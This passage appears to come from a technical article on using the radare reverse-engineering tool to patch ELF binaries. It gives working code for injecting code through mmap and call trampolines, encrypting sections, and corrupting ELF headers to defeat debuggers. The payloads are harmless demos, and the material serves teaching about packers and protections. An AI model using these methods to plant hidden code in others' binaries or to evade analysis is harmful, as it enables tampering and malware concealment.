At the end (giving an end‑breakpoint) the debugger have a buffer with enough information to determine the executed ranges. Using this easy method we can easily skip all the reps, loops and already analyzed code blocks, speeding up the binary analysis.

Using the "at" command (which stands for analyze traces) it is possible to take statistics or information about the traces and, for example.. serialize the program and unroll loops.

We can also use !trace, giving a certain debug level as numeric argument, to log register changes, executed instructions, buffers, stack changes, etc..

After these steps we can subtract the resulting ranges against the .text section and get how many bytes we can use to inject code.

If the resulting space is not enough for our purposes we will have to face section resizing to put our code. This is explained later.

Radare offers the "ar" (analyze ranges) command to manage range lists. It can perform addition, subtraction and boolean operations.

> ar+ 0x1000 0x1040 ; manual range addition

> ar+ 0x1020 0x1080 ; manual add with overlap

> ari ; import traces from other places

.....

> .atr* ; import execution traces information

> .CF* ; import function ranges

> .gr* ; import code analysis graph ranges

.....

> ar ; display non overlapped ranges

> ; show booleaned ranges inside text section

> arb section._text section._text_end

We can also import range information from external files or programs. One of the nicer characteristics of *nix is the ability to communicate applications using pipes by just making one program 'talk' in the other program language. So if we write a perl script that parses an IDA database (or IDC), we can extract the information we need and print radare commands ('ar' in this case) to stdout, and then parsing the results with the '.' command.

This time ar gives us information about the number of bytes that are theoretically not going to be executed and its ranges.

We can now place some breakpoints on these locations to ensure we are not missing anything. Manual revision of the automated code analysis and tracing results is recommended.

‑‑[ 2.1 ‑ Resolving register based branchs

The 'av' command provides subcommands to analyze opcodes inside the native virtual machine.

The basic commands are: 'av‑' to restart the vm state, 'avr' to manage registers, 'ave' to evaluate VM expressions and 'avx' that will execute N instructions from the current seek (will set the eip VM register to the offset value).

Internally, the virtual machine engine translates instructions into evaluable strings that are used to manipulate memory and change registers.

This simple concept allows to easily implement support for new instructions or architectures.

Here is an example. The code analysis has reached a call instruction addressing with a register. The code looks like:

/* ‑‑‑ */

$ cat callreg.S

.global main

.data

.long foo

.text

foo:

ret

main:

xor %eax, %eax

mov $foo, %ebx

add %eax, %ebx

call *%ebx

ret

$ gcc callreg.S

$ radare ‑d ./a.out

( ... )

[0xB7FC6810]> !cont sym.main

Continue until (sym.main) = 0x08048375

[0x08048375]> pd 5 @ sym.main

0x08048375 eip,sym.main:

0x08048375 / xor eax, eax

0x08048377 | mov ebx, 0x8048374 ; sym.foo

0x0804837c,| add ebx, eax

0x0804837e | call ebx

0x08048380, \ ret

[0x08048375]> avx 4

Emulating 4 opcodes

MMU: cached

Importing register values

0x08048375 eax ^= eax

; eax ^= eax

0x08048377 ebx = 0x8048374 ; sym.foo

; ebx = 0x8048374

0x0804837c, ebx += eax

; ebx += eax

0x0804837e call ebx

; esp=esp‑4

; [esp]=eip+2

;==> [0xbf9be388] = 8048382 ((esp]))

; write 8048382 @ 0xbf9be388

; eip=ebx

[0x08048375]> avr eip

eip = 0x08048374

At this point we can continue the code analysis where the 'eip' register of the virtual machine points.

[0x08048375]> .afr @ `avr eip~[2]`

‑‑[ 2.2 ‑ Resizing data section

There is no simple way to resize a section in radare1. This process is completely manual and tricky.

In order to solve this limitation, radare2 provides a set of libraries (named libr) that reimplement all the functionalities of radare 1.x following a modular design instead of the old monolithic approach.

Both branches of development are being done in parallel.

Here is where radare2 api (libr) comes in action:

$ cat rs.c

#include <stdio.h>

#include <r_bin.h>

int main(int argc, char *argv[])

{

struct r_bin_t bin;

if (argc != 4) {

printf("Usage: %s <ELF file> <section> <size>\n", argv[0]); } else {

r_bin_init(&bin);

if (!r_bin_open(&bin, argv[1], 1, NULL)) { fprintf(stderr, "Cannot open '%s'.\n", argv[1]);

} else

if (!r_bin_resize_section(&bin, argv[2], r_num_math(NULL,argv[3]))) { fprintf(stderr, "Cannot resize section.\n");

} else {

r_bin_close(&bin);

return 0;

}

}

return 1;

}

$ gcc ‑I/usr/include/libr ‑lr_bin rs.c ‑o rs

$ rabin ‑S my‑target‑elf | grep .data

idx=24 address=0x0805d0c0 offset=0x000150c0 size=00000484 \ align=0x00000020 privileges=‑rw‑ name=.data

$ ./rs my‑target‑elf .data 0x9400

$ rabin ‑S my‑target‑elf | grep .data

idx=24 address=0x0805d0c0 offset=0x000150c0 size=00009400 \ align=0x00000020 privileges=‑rw‑ name=.data

Our 'rs' program will open a binary file (ELF 32/64, PE32/32+, ...) it will resolve a section named '.data' to change its size and will shift the rest of sections to keep the elf information as is.

The reason for resizing the .data section is because this one is commonly linked after the text section. There will be no need to reanalyze the program code to rebase all the data accesses to the new address.

The target program should keep working after the section resizing and we already know which places in the program can be used to inject our trampoline.

+‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑+

| .text | | .text |

| | | | <‑‑ inject trampoline

|‑‑‑‑‑‑‑| ‑> |‑‑‑‑‑‑‑|

| .data | | .data |

+‑‑‑‑‑‑‑+ | | <‑‑ inject new code or data

| |

+‑‑‑‑‑‑‑+

Next chapters will explain multiple trampoline methods that will use our resized data section to store pointer tables or new code.

‑‑[ 2.3 ‑ Basics on code injection

Self modifying code is a nice thing, but usually a dangerous task too. Also patches/tools like SElinux will not let us to write to an already executable section.

To avoid this problem we can change in the ELF headers the .text perms to writable but not executable, and include our decryption function in a new executable section. When the decryption process is done, it will have to change text perms to executable and then transfer control to it.

In order to add multiple nested encryption layers the task will be harder mostly because of the relocation problems, and if the program is not PIC‑ed, rebasing an entire application on the fly by allocating and copying the program multiple times in memory can be quite complicated.

The simplest implementation consists in these steps:

‑ Define from/to ranges

‑ Define cipher key and algorithm

‑ Inject deciphering code in the entrypoint

‑ We will need to use mprotect before looping

‑ Statically cipher the section

The from/to addresses can be hardcoded in the assembly snippet or written in .data or somewhere for later. We can also ask the user for a key and make the binary work only with a password.

If the encryption key is not found in the binary, the unpacking process becomes harder, and we will have to implement a dynamic method to find the correct one. This will be explained later.

Another way to define ranges is by using watermarks and let our injected code walk over the memory looking for these marks.

The last step is probably the easier one. We already know the key and the algorithm, its time to rewrite the inverse one using radare commands and let the script run over these ranges.

This is an example:

The 'wo' command is a subcommand of the 'w' (write) which offers arithmetic write operations over the current block.

[0x00000000]> wo?

Usage: wo[xrlasmd] [hexpairs]

Example: wox 90 ; xor cur block with 90

Example: woa 02 03 ; add 2, 3 to all bytes of cur block Supported operations:

woa addition +=

wos subtraction ‑=

wom multiply *=

wod divide /=

wox xor ^=

woo or |=

woA and &=

wor shift right >>=

wol shift left <<=

It uses cyclic hexpair byte arrays as arguments. Just by seeking on the "from" address and setting blocksize as "to‑from" we will be ready to type the 'wo' ones.

Implementing this process in macros will make the code more maintainable and easy to manage. The understanding of functional programming is good for writing radare macros, split the code in small functions doing minimal tasks and make them interact with each other.

Macros are defined like in lisp, but syntax is really closer to a mix between perl and brainfuck. Don't get scary at first instance..it doesn't hurt as much as you can think and the resulting code is funnier than expected ;)

(cipher from to key

s $0

b $1‑$0

woa $2

wox $2)

We can put it in a single line (by replacing newlines with commas ',') and put it in our ~/.radarerc:

(cipher from to key,s $0,b $1‑$0,woa $2,wox $2,)

Now we can call this macro at any time by just prepending a dot before the parenthesis and feeding it with the arguments.

f from @ 0x1200

f to @ 0x9000

.(cipher from to 2970)

To ease the code injection we can write a macro like this:

(inject hookaddr file addr

wa call $2 @ $0

wf $1 @ $2)

Feeding this macro with the proper values will assemble a call opcode branching to the place where we inject our code (addr or $2) stored in the 'file' or $1.

Radare has the expanded AES key searching algorithm developed by Victor Mu~noz. It can be helpful while reversing a program that uses this kind of ciphering algorithm. As the IO is abstracted it is possible to launch this search against files, program memory, ram dumps, etc..

For example:

$ radare ‑u /dev/mem

[0x00000000]> /a

...

WARNING: Most current GNU/Linux distributions comes with the kernel compiled with the CONFIG_STRICT_DEVMEM option which restricts the access of /dev/mem to the only first 1.1M.

All write operations are stored in a linked list of backups with the removed contents. This make possible to undo and redo all changes done directly on file. This allows you to try different modifications on the binary without having to restore manually the original one.

These changes can be diffed later with the "radiff ‑r" command. The command performs a deltified binary diff between two files, The '‑r' displays the result of the operation as radare commands that transforming the first binary into the second one.

The output can be piped to a file and used later from radare to patch it at runtime or statically.

For example:

$ cp /bin/true true

$ radare ‑w true

[0x08048AE0]> wa xor eax,eax;inc eax;xor ebx,ebx;int 0x80 @ entrypoint

[0x08048AE0]> u

03 + 2 00000ae0: 31 ed => 31 c0

02 + 1 00000ae2: 5e => 40

01 + 2 00000ae3: 89 e1 => 31 db

00 + 2 00000ae5: 83 e4 => cd 80

[0x08048AE0]> u* | tee true.patch

wx 31 c0 @ 0x00000ae0

wx 40 @ 0x00000ae2

wx 31 db @ 0x00000ae3

wx cd 80 @ 0x00000ae5

The 'u' command is used to 'undo' write operations. Appending the '*' we force the 'u' command to list the write changes as radare commands, and we pipe the output to the 'tee' unix program.

Let's generate the diff:

$ radiff ‑r /bin/true true

e file.insertblock=false

e file.insert=false

wx c0 @ 0xae1

wx 40 @ 0xae2

wx 31 @ 0xae3

wx db @ 0xae4

wx cd @ 0xae5

wx 80 @ 0xae6

This output can be piped into radare through stdin or using the '.' command to interpret the contents of a file or the output of a command.

[0x08048AE0]> . radiff.patch

or

[0x08048AE0]> .!!radiff ‑r /bin/true $FILE

The '$FILE' environment is exported to the shell from inside radare as well as other variables like $BLOCK, $BYTES, $ENDIAN, $SIZE, $ARCH, $BADDR, ...

Note that in radare there's not really much difference between memory addresses and on‑disk ones because the virtual addresses are emulated by the IO layer thanks to the io.vaddr and io.paddr variables which are used to define the virtual and physical addresses for a section or for the whole file.

The 'S' command is used to configure a fine‑grained setup of virtual and physical addressing rules for ranged sections of offsets.

Do not care too much about it because 'rabin' will configure these variables at startup when the file.id eval variable is true.

‑‑[ 2.4 ‑ Mmap trampoline

The problem faced when resizing the .text section is that .data section is shifted, and the program will try to access it absolutely or relatively.

This situation forces us to rebase all the text section and adapt the rest of sections.

The problem is that we need a deep code analysis to rebase and this is something that we will probably do wrong if we try to do only a static code analysis. This situation usually require a complex dynamic, and sometimes manual, analysis to fix all the possible pointers.

To skip this issue we can just resize the .data section which is after the .text one and just write a trampoline in the .text section loading code from .data and putting it in memory using mmap.

The decision to use mmap is because is the only way to get executable pages with write permissions in memory even with SELinux enabled.

The C code looks like this:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#include <stdio.h>

#include <string.h>

#include <sys/mman.h>

int run_code(const char *buf, int len)

{

unsigned char *ptr;

int (*fun)();

ptr = mmap(NULL, len,

PROT_EXEC | PROT_READ | PROT_WRITE,

MAP_ANONYMOUS | MAP_PRIVATE, ‑1, 0);

if (ptr == NULL)

return ‑1;

fun = (int(*)(void))ptr;

memcpy(ptr, buf, len);

mprotect(ptr, len, PROT_READ | PROT_EXEC);

return fun();

}

int main()

{

unsigned char trap = 0xcc;

return run_code(&trap, 1);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The manual rewrite in assembly become:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.global main

.global run_code

.data

retaddr: .long 0

shellcode: .byte 0xcc

hello: .string "Hello World\n"

.text

tailcall:

push %ebp

mov %esp, %ebp

push $hello

call printf

addl $4, %esp

pop %ebp

ret

run_code:

pop (retaddr)

/* lcall *0 */

call tailcall

push (retaddr)

/* our snippet */

push %ebp

mov %esp, %ebp

pusha

push %ebp

xor %ebp, %ebp /* 0 */

mov $‑1, %edi /* ‑1 */

mov $0x22, %esi /* MAP_ANONYMOUS | MAP_PRIVATE */

mov $7, %edx /* PROT_EXEC | PROT_READ | PROT_WRITE */

mov $4096, %ecx /* len = 4096 */

xor %ebx, %ebx /* 0 */

mov $192, %eax /* mmap2 */

int $0x80

pop %ebp

mov %eax, %edi /* dest pointer */

mov 0x8(%ebp), %esi /* get buf (arg0) */

mov $128, %ecx

cld

rep movsb

mov %eax, %edi

mov $5, %edx /* R‑X */

mov $4096, %ecx /* len */

mov %edi, %ebx /* addr */

mov $125, %eax /* mprotect */

int $0x80

call *%edi

popa

pop %ebp

ret

main:

push $shellcode

call run_code

add $4, %esp

ret

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Running this little program will result on a trap instruction executed on the mmaped area. I decided to do not checks on return values to make the code smaller.

$ gcc rc.S

$ ./a.out

Hello World

Trace/breakpoint trap

The size in bytes of this code can be measured with this line in the shell:

$ echo $((`rabin ‑o d/s a.out |grep run_code|cut ‑d ' ' ‑f 2 |wc ‑c`/2)) 76

This graph explains the layout of the patch required

+‑‑‑‑+ / push dword csu_fini

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| EP | < push dword csu_init

| +‑‑‑‑+ \ push dword main

V v

+‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑+

| csu_init | | main | / push 0x80483490

|‑‑‑‑‑‑‑‑‑‑‑‑| |‑‑‑‑‑‑‑‑| < call getopt

| mmap | .‑| ... | \ mov [esp+30], eax

| trampoline | | | |

+‑‑‑‑‑‑‑‑‑‑‑‑+ | +‑‑‑‑‑‑‑‑+

||'|| | this code needs |

| |‑ ‑ ‑ ‑ |‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ the mmap tramp |

: __|___ +‑‑‑‑‑‑‑to be executed |

. / hook \ ‑‑‑> | mmap code | . `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' . \getopt/ +‑‑‑‑‑‑‑‑‑‑‑+ .

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑|‑ ‑

|

+‑‑‑‑‑‑‑‑+ / fall to the getopt flow

| getopt | <‑‑‑‑‑' +‑‑‑‑‑‑‑‑+

|

(ret)

The injection process consists on the following steps:

* Resize the .data section to get enought space for our code

f newsize @ section._data_end ‑ section._data + 4096 !rabin2 ‑o r/.data/`?v newsize` $FILE

q!

* Write the code at the end of the unresized .data section

!!gcc our‑code.c

"!!rabin a.out ‑o d/s a.out | grep ^main | cut ‑d ' ' ‑f 2 > inj.bytes" wF inj.bytes @ section._data_end

* Null the __libc_csu_init pointer at entrypoint (2nd push dword)

e asm.profile=simple

s entrypoint

wa push 0 @ `pd 20~push dword[0]#1`

* Inject the mmap loader at symbol __libc_csu_init

# generate mmap.bytes with the mmap trampoline

!!gcc mmap‑tramp.S

"!!rabin a.out ‑o d/s a.out | grep ^main | cut ‑d ' ' ‑f 2 > mmap.bytes" # write hexpair bytes contained in mmap.bytes file at csu_init wF mmap.bytes @ sym.__libc_csu_init

* Hook a call instruction to bridge the execution of our injected code and continue the original call workflow.

‑ Determine the address of the call to the target symbol to be hooked. For example. Having 'ping' program, this script will determine an xref to the getopt import PLT entry.

s entrypoint

# seek to the third push dword in the entry point (main) s `pd 20~push dword[3]#2`

# Analyze function: the '.' will interpret the output of the command # 'af*' that prints radare commands registering xrefs, variable # accesses, stack frame changes, etc.

.af*

# generate a file named 'xrefs' containing the code references # to the getopt symbol.

Cx~`?v imp.getopt`[1] > xrefs

# create an eNumerate flag at every offset specified in 'xrefs' file fN calladdr @@.xrefs

‑ Create a proxy hook to bridge execution without destroying the stack.

This is explained in the following lines.

‑ Change the call of the hook to our proxy function

# write assembly code 'call <addr>'

# quotes will replace the inner string with the result of the # command ?v which prints the hexadecimal value of the given expr. wa call `?v dstaddr`

‑ Profit

Here is an example assembly code that demonstrates the functionality of the trampoline for the patched call. This snippet of code can be injected after the mmap trampoline.

‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑

.global main

trampoline:

push $hookstr

call puts

add $4, %esp

jmp puts

main:

push $hello

call trampoline

add $4, %esp

ret

.data

hello:

.string "hello world"

hookstr:

.string "hook!"

‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑

The previous code cannot be injected directly in the binary, and one of the main conceptual reasons is that the destination address of the trampoline will be defined at runtime, when the mmapped region of the data section is ready with executable permissions, the destination address must be stored somewhere in the data section.

‑‑[ 2.4.1 ‑ Call trampoline

Once the holes have been identified we can now modify some parts of the program to obfuscate the control flow, symbol access, function calls and inlined syscalls in different ways.

To walk through the program code blocks we can use iterators or nested iterators to run from simple to complex scripted code analysis engines and retrieve or manipulate the program by changing instructions or moving code.

The control flow of the program can be obfuscated by adding a calltable trampoline for calling functions. We will have to patch the calls and store the jump addresses in a table in the data section.

The same hack can be done for long jumps by placing a different trampoline to drop the stacked eip and use jumps instead of calls.

Iterators in radare can be implemented as macros appending the macro call after the @@ foreach mark.

For example: "x @ 0x200"

will temporally seek to 0x200 and run the "x" command.

Using: "x @@ .(iterate‑functions)"

will run the iterator macro at every address returned by the macro.

To return values from a macro we can use the null macro body and append the resulting offset. If no value is given, null is returned and the iterator will stop.

Heres the implementation for the function‑iterator:

"(iterate‑functions,()CF~#$@,)"

We can also use the search engine with cmd.hit eval variable to run a command when a search hit is found. Obviously, the command can be a macro or a script file in any language.

e cmd.hit=ar‑ $$ $$+5

/x xx yy zz

But we can also do it after processing the search by just removing the false positive hits and running a foreach command.

# configure and perform search

e search.from=section._text

e search.to=section._text_end

e cmd.search=

/x xx yy zz

# filtering hit results

fs search ; enter into the search flagspace

f ; list flags in search space

f ‑hit0_3 ; remove hit #3

# write on every filtered hit

wx 909090 @@ hit*

Flagspaces are groups of flags. Some of them are automatically created by rabin while identifying strings, symbols, sections, etc, and others are updated at runtime like by commands like 'regs' (registers) or 'search' (search results).

You can switch to or create another flagspace using the 'fs' command. When a flagspace is selected the 'f' command will only show the flags in the current flagspace. 'fs *' is used to enable all flagspaces at the same time (global view). See fs? for extended help.

The internal metadata database can be managed with the C command and stores information about code and data xrefs, comments, function definitions, type, data conversions and structure definitions to be used by the disassembler engine, the code analysis module and user defined scripts.

Data and code xrefs are very useful reference points while reverse engineering. It is interesting to obfuscate them all as much as possible to fool code analysis engines, forcing the reverser to use runtime or emulated environments to determine when a string or a buffer is used.

To analyze a function in radare is preferably to go into Visual mode with command 'V', and then press the keys "d" and "f".

This action will make a code analysis from the current seek or where the cursor points (if in cursor mode, toggleable with the lowercase "c" key in Visual mode). This code analysis will define multiple things like argument, local and global variable accesses, feeding the database with xref information that can be later used to determine which points of the program are using a certain pointer.

By defining few eval vars in your ~/.radarerc most of this basic code analysis will be done by default.

$ cat ~/.radarerc

e file.id=true ; identify file type and set arch/baddr... e file.analyze=true ; perform basic code analysis at startup e file.flag=true ; add basic flags

e scr.color=true ; use color screen

NOTE: By passing the '‑n' parameter to radare the startup process will skip the interpretation of .radarerc.

All this information can be cached, manipulated and restored using project files (with the ‑P program flag at startup or enabling this feature in runtime with the 'P' command).

After this parenthesis we continue obfuscating the xrefs to make reversers life funnier.

One simple way to do this would be to create an initialization code, copying some pointers required by the program to run at random mmaped addresses and defining a way to transform these accesses into a sequence jigsaw. This can be achieved turning each pointer "random" based on some rules like a shifted array accessed by a mod.

# calltable initializer

(ct‑init tramp ctable ctable_end

f trampoline @ $0

f calltable @ $1

f calltable_ptr @ calltable

wf trampoline.bin @ trampoline

b $2‑$1

wb 00 ; fill calltable with nops

)

; calltable adder

(ct‑add

; check if addr is a long call

? [1:$$]==0xeb

?!()

; check if already patched

? [4:$$+1]==trampoline

??()

wv $$+5 @ calltable_ptr

yt 4 calltable_ptr+4 @ $$+1

f calltable_ptr @ calltable_ptr+8

wv trampoline @ $$+1

)

We can either create a third helper macro that automatically iterates over every long call instruction in .text and running ct‑add on it.

(ct‑run from to tramp ctable ctable_end

.(ct‑init tramp ctable ctable_end)

s from

loop:

? [1:$$]==0xeb

?? .(ct‑add)

s +$$$

? $$ < to

??.loop:

)

Or we can also write a more fine‑grained macro to walk over the function

e asm.profile=simple

pD~call[0] > jmps

.(ct‑init 0x8048000 0x8048200)

.(ct‑add)@@.jmps

The trampoline.bin file will be something like this:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

* Calltable trampoline example // ‑‑pancake

* ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* $ gcc calltrampoline.S ‑DCTT=0x8048000 ‑DCTT_SZ 100

*/

#ifndef CTT_SZ

#define CTT_SZ 100

#endif

#ifndef CTT

#define CTT call_trampoline_table

#endif

.text

.global call_trampoline

.global main

main:

/* */

call ct_init

call ct_test

/* */

pushl $hello

call puts

add $4, %esp

ret

call_trampoline:

pop %esi

leal CTT, %edi

movl %esi, 0(%edi) /* store ret addr in ctable[0] */

0:

add $8, %edi

cmpl 0(%edi), %esi /* check ret addr against ctable*/

jnz 0b

movl 4(%edi), %edi /* get real pointer */

call *%edi /* call real pointer */

jmp *CTT /* back to caller */

/* initialize calltable */

ct_init:

leal CTT+8, %edi

movl $retaddr, 0(%edi)

movl $puts, 4(%edi)

ret

/* hello world using the calltable */

ct_test:

push $hello

call call_trampoline

retaddr:

add $4, %esp

ret

.data

hello:

.string "Hello World"

call_trampoline_table:

.fill 8*(CTT_SZ+1), 1, 0x00

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Note that this trampoline implementation is not thread safe. If two threads are use the same trampoline call table at the same time to temporally store the return address, the application will crash.

To fix this issue you should use the %gs segment explained in the 'syscall obfuscation' chapter. But to avoid complexity no thread support will be added at this moment.

To inject the shellcode into the binary we will have to make some space in the .data segment for the calltable. We can do this with gcc ‑D:

[0x8048400]> !!gcc calltrampoline.S ‑DCTT=0x8048000 ‑DCTT_SZ=100 > !! rabin ‑o d/s a.out|grep call_trampoline|cut ‑d : ‑f 2 > tramp.hex > wF tramp.hex @ trampoline_addr

‑‑[ 2.4.2 ‑ Extending trampolines

We can take some real code from the target program and move it into the .data section encrypted with a random key. Then we can extend the call trampoline to run an initialization function before running the function.

Our call trampoline extension will cover three points:

‑ Function prelude obfuscation ‑ Function mmaping (loading code from data) ‑ Unciphering and checksumming

At the same time we can re‑encrypt the function again after calling the end point address. This will be good for our protector because the reverser will be forced to manually step into the code because no software breakpoints will be able to be used on this code because they will be re‑encrypted and the checksumming will fail.

To do this we need to extend our call trampoline table or just add another field in the call trampoline table specifying the status of the destination code (if it is encrypted or not) and optionally the checksum.

The article aims to explain guidelines and possibilities when playing with binaries. But we are not going to implement such kind of extensions to avoid enlarge too much this article explaining these advanced techniques.

The 'p' command is used to print the bytes in multiple formats, the more powerful print format is 'pm' which permits to describe memory contents using a format‑string like string and name each of the fields.

When the format‑string starts with a numeric value it is handled as an array of structures. The 'am' command manages a list of named 'pm' commands to ease the re‑use of structure signatures along the execution of radare.

We will start introducing this command describing the format of an entry of our trampoline call table:

[0x08049AD0]> pm XX

0x00001ad0 = 0x895eed31

0x00001ad4 = 0xf0e483e1

Now adding the name of fields:

[0x08049AD0]> pm XX from to

from : 0x00001ad0 = 0x895eed31

to : 0x00001ad4 = 0xf0e483e1

And now printing a readable array of structures:

[0x08049AD0]> pm 3XX from to

0x00001ad0 [0] {

from : 0x00001ad0 = 0x895eed31

to : 0x00001ad4 = 0xf0e483e1

}

0x00001ad8 [1] {

from : 0x00001ad8 = 0x68525450

to : 0x00001adc = 0x0805b6a0

}

0x00001ae0 [2] {

from : 0x00001ae0 = 0x05b6b068

to : 0x00001ae4 = 0x68565108

}

There is another command named 'ad' that stands for 'analyze data'. It automatically analyzes the contents of the memory (starting from the current seek) looking for recognized pointers (following the configured endianness), strings, pointers to strings, and more.

The easiest way to see how this command works is by starting a program in debugger mode (f.ex: radare ‑d ls) and running 'ad@esp'.

The command will walk through the stack contents identifying pointers to environment variables, function pointers, etc..

Internal grep '~' syntax sugar can be used to retrieve specific fields of structures for scripting, displaying or analysis.

# register a 'pm' in the 'am' command

[0x08048000]> am foo 3XX from to

# grep for the rows matching 'from'

[0x08048000]> am foo~from

from : 0x00001ad0 = 0x895eed31

from : 0x00001ad8 = 0x68525450

from : 0x00001ae0 = 0x05b6b068

# grep for the 4th column

[0x08048000]> am foo~from[4]

0x895eed31

0x68525450

0x05b6b068

# grep for the first row

[0x08048000]> am foo~from[4]#0

0x895eed31

‑‑[ 3 ‑ Protections and manipulations

This chapter will face different manipulations that can be done on binaries to add some layers of protections to make reverse engineering on the target binaries a more complicated.

‑‑[ 3.1 ‑ Trashing the ELF header

Corrupting the ELF header is another possible target of a packer for making the reverser's life little harder.

Just modifying one byte in the ELF header becomes a problem for tools like gdb, ltrace, objdump, ... The reason is that they depend on section headers to get information about sections, symbols, library dependencies, etc... and if they are not able to parse them they just stop with an error. At the moment of writing, only IDA and radare are able to bypass this issue.

This can be easily done in this way:

$ echo wx 99 @ 0x21 | radare ‑nw a.out

A reverser can use the fix‑shoff.rs (included in the scripts) directory in the radare sources, to reconstruct the 'e_sh_off' dword in the ELF header.

$ cat scripts/fix‑shoff.rs

; radare script to fix elf.shoff

(fix‑shoff

s 0 ; seek to offset 0

s/ .text ; seek to first occurrence of ".text" string loop:

s/x 00 ; go next word in array of strings

? [1:$$+1] ; check if this is the last one

?!.loop: ; loop if buf[1] is == 0

s +4‑$$%4 ; align seek pointer to 4

f nsht ; store current seek as 'nsht'

wv nsht @ 0x20 ; write the new section header table at 0x20 (elf.sh_off) )

The script is used in this way:

$ echo ".(fix‑shoff) && q" | radare ‑i scripts/fix‑shoff.rs ‑nw "target‑elf"

This script works on any generic bin with a trashed shoff. It will not work on binaries with stripped section headers (after 'sstrip' f.ex.)

This is possible because GCC stores the section header table immediately after the string table index, and this section is easily identified because the .text section name will appear on any standard binary file.

It is not hard to think on different ways to bypass this patch. By just stripping all the rest of section after setting shoff to 0 will work pretty well and the reverser will have to regenerate the section headers completely. This can be done by using sstrip(1) (double 's' is not a typo) from the elf‑kickers package. This way we eliminate all unnecessary sections to run the program.

The nice thing of this header bug is that the e_shoff value is directly passed to lseek(2) as second argument, and we can either try with values like 0 or ‑1 to get different errors instead of just giving an invalid address. This way it is possible to bypass wrong ELF parsers in other ways.

Similar bugs are found in MACH‑O parsers from GNU software like setting number of sections to ‑1 in the SEGMENT_COMMAND header. These kind of bugs don't hit kernels because they usually use minimum input from the program headers to map it in memory, and the dynamic linker at user space do the rest. But debuggers and file analyzers usually fail when try to extract corrupted information from headers.

‑‑[ 3.2 ‑ Source level watermarks

If we have the source of the target application there will be more ways to play with it. For instance, using defines as volatile asm inline macros, the developer can add marks or paddings usable for the binary packer.

Some commercial packers offer an SDK which is nothing more than a set of include files offering helper functions and watermarks to make the packers life easier. And giving to the developer more tools to protect their code.

$ cat watermark.h

#define WATERMARK __asm__ __volatile__ (".byte 3,1,3,3,7,3,1,3,3,7");

We will use this CPP macro to watermark the generated binary for later post‑processing with radare. We can specify multiple different watermarks for various purposes. We must be sure that these watermarks are not already in the generated binary.

We can even have larger watermarks to pad our program with noisy bytes in the .text section, so we can later replace these watermarks with our assembly snippets.

Radare can ease the manual process of finding the watermarks and injecting code, by using the following command. It will generate a file named 'water.list' containing one offset per line.

[0x00000000]> /x 03010303070301030307

[0x00000000]> f~hit[0] > water.list

[0x00000000]> !!cat water.list

0x102

0x13c

0x1a2

0x219

If we want to run a command at every offset specified in the file:

[0x00000000]> .(fill‑water‑marks) @@. water.list

Inside every fill‑water‑mark macro we can analyze the watermark type depending on the 'hit' flag number (we can search more than one keyword at a time) or by checking the bytes there and perform the proper action.

If those watermarks have a fixed size (or the size is embedded into the watermark) we can then write a radare script that write a branch instruction at to skip the padding. (This will avoid program crash because it will not execute the dummy bytes of our watermark).

Here's an ascii‑art explanation:

|<‑‑ watermark ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|<‑‑ unused bytes ‑‑>|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| jmp $$+size | .. .. .. .. .. .. .. .. .. .. .. .. .program

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

At this point we have some more controlled holes to put our code.

Our variable‑sized watermark will be defined in this way:

.long 0,1,2,3,4,5,6,7,4*20,9,10,11,12,13,14,15,16,17,18,19,20

And the watermark filling macro:

(fill‑water‑marks,wa jmp $${io.vaddr}+$$+[$$+8],)

# run the macro to patch the watermarks with jumps .(fill‑water‑marks) @@. water.list

The io.vaddr specified the virtual base address of the program in memory.

‑‑[ 3.3 ‑ Ciphering .data section

A really common protection in binaries consists on ciphering the data section of a program to hide the strings and make the static code analysis harder.

The technique presented here aims to protect the data section. This section generally does not contain program strings (because they are usually statically defined in the rodata section), but will help to understand some characteristics of the ELF loader and how programs work with the rw sections.

The PT_LOAD program header type specifies where, which and how part of the binary should be mapped in memory. By default, the kernel maps the program at a base address. More over it will map aligned size (asize) of the program starting at 'physical' on 'virtual' address with 'flags' permissions.

$ rabin ‑I /bin/ls | grep baddr

baddr=0x08048000

$ rabin ‑H /bin/ls | grep LOAD

virtual=0x08060000 physical=0x00018000 asize=0x1000 size=0x0fe0 \ flags=0x06 type=LOAD name=phdr_0

